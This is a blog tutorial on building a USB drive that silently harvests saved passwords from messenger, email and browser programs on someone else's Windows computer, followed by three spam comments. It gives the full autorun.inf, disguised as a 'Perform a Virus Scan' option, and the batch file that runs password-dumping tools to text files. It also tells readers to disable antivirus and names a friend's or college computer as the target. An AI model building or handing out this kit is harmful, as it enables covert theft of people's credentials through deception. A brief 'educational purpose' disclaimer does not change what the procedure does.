Blog

How Hackers steal passwords with USB

Note:This tutorial is only for educational purpose and this is easy to prevent just dont allow random people to stick their USBs on you PC/Laptop and have an up to date Antivirus. We don’t provide the links of the tools you can Google them and get an updated version of it.

Today I will show you how to capture Passwords using an USB Pen Drive.
As we all know, Windows stores most of the passwords which are used on a daily
basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows
messenger etc.
Along with these, Windows also stores passwords of Outlook Express, SMTP, POP,
FTP accounts and auto-complete passwords of many browsers like IE and Firefox.
There exists many tools for recovering these passwords from their stored places.
Using these tools and an USB pen drive you can create your own root kit to capture
passwords from your friend’s/college Computer.


We need the following tools to create our root kit:

MessenPass: Recovers the passwords of most popular Instant Messenger programs:
MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL
Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.


Mail PassView: Recovers the passwords of the following email programs: Outlook
Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook
2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape
Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail,
Yahoo!, G-mail), if you use the associated programs of these accounts.


IE Passview: IE PassView is a small utility that reveals the passwords stored by
Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as
older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected
Storage, including the Auto Complete passwords of Internet Explorer, passwords of
Password-protected sites, MSN Explorer Passwords, and more…


PasswordFox: Password Fox is a small password recovery tool that allows you to view

the user names and passwords stored by Mozilla Firefox Web browser. By default,
PasswordFox displays the passwords stored in your current profile, but you can easily
select to watch the passwords of any other Firefox profile. For each password entry,
the following information is displayed: Record Index, Web Site, User Name,
Password, User Name Field, Password Field, and the Signons file name.


Here is a step by step procedre to create the password  toolkit:

NOTE: You must temporarily disable your antivirus before following these steps.

  • Download all the 5 tools, extract them and copy only the executables(.exe files)
    into your USB Pendrive.
    ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe
    into your USB Drive.
  •  Create a new Notepad and write the following text into it:
    [autorun]
    open=launch.bat
    ACTION= Perform a Virus Scan
    save the Notepad and rename it from
    New Text Document.txt to autorun.inf
    Now copy theautorun.inf file onto your USB pendrive.
  • Create another Notepad and write the following text onto it:
    start mspass.exe /stext mspass.txt
    start mailpv.exe /stext mailpv.txt
    start iepv.exe /stext iepv.txt
    start pspv.exe /stext pspv.txt
    start passwordfox.exe /stext passwordfox.txt
    save the Notepad and rename it from
    New Text Document.txt to launch.bat
    Copy the launch.bat file also to your USB drive.

Now your root kit is ready and you are all set to capture the passwords. You can use this
pendrive on any computer. Just follow these steps

  • Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
  • In the pop-up window, select the first option (Perform a Virus Scan).
  • Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
  • Remove the pendrive and you’ll see the stored passwords in the .TXT files.

This works on Windows 2000, XP,Vista and 7,8,8.1 and 10

NOTE: This procedure will only recover the stored passwords (if any) on the
Computer. Stealing Peoples Passwords is illegal and using them with malicious intent.

 

3 thoughts on “How Hackers steal passwords with USB

  1. My spouse and I absolutely love your blog and find the majority
    of your post’s to be just what I’m looking for. can you offer guest writers to write content for yourself?
    I wouldn’t mind creating a post or elaborating on a few of the
    subjects you write related to here. Again, awesome weblog!

  2. Hello ,

    I saw your tweets and thought I will check your website. Have to say it looks very good!
    I’m also interested in this topic and have recently started my journey as young entrepreneur.

    I’m also looking for the ways on how to promote my website. I have tried AdSense and Facebok Ads, however it is getting very expensive. Was thinking about starting using analytics. Do you recommend it?
    Can you recommend something what works best for you?

    I also want to improve SEO of my website. Would appreciate, if you can have a quick look at my website and give me an advice what I should improve: http://janzac.com/
    (Recently I have added a new page about FutureNet and the way how users can make money on this social networking portal.)

    I have subscribed to your newsletter. 🙂

    Hope to hear from you soon.

    P.S.
    Maybe I will add link to your website on my website and you will add link to my website on your website? It will improve SEO of our websites, right? What do you think?

    Regards
    Jan Zac

  3. Howdy I am so happy I found your blog, I really found you by accident, while I was searching on Yahoo for something else, Anyways I am here now and would just like to say thank you for a tremendous post and a all round interesting blog (I also love the theme/design), I don’t have time to look over it all at the minute but I have book-marked it and also added your RSS feeds, so when I have time I will be back to read a great deal more, Please do keep up the awesome job.

Leave a Reply

Your email address will not be published. Required fields are marked *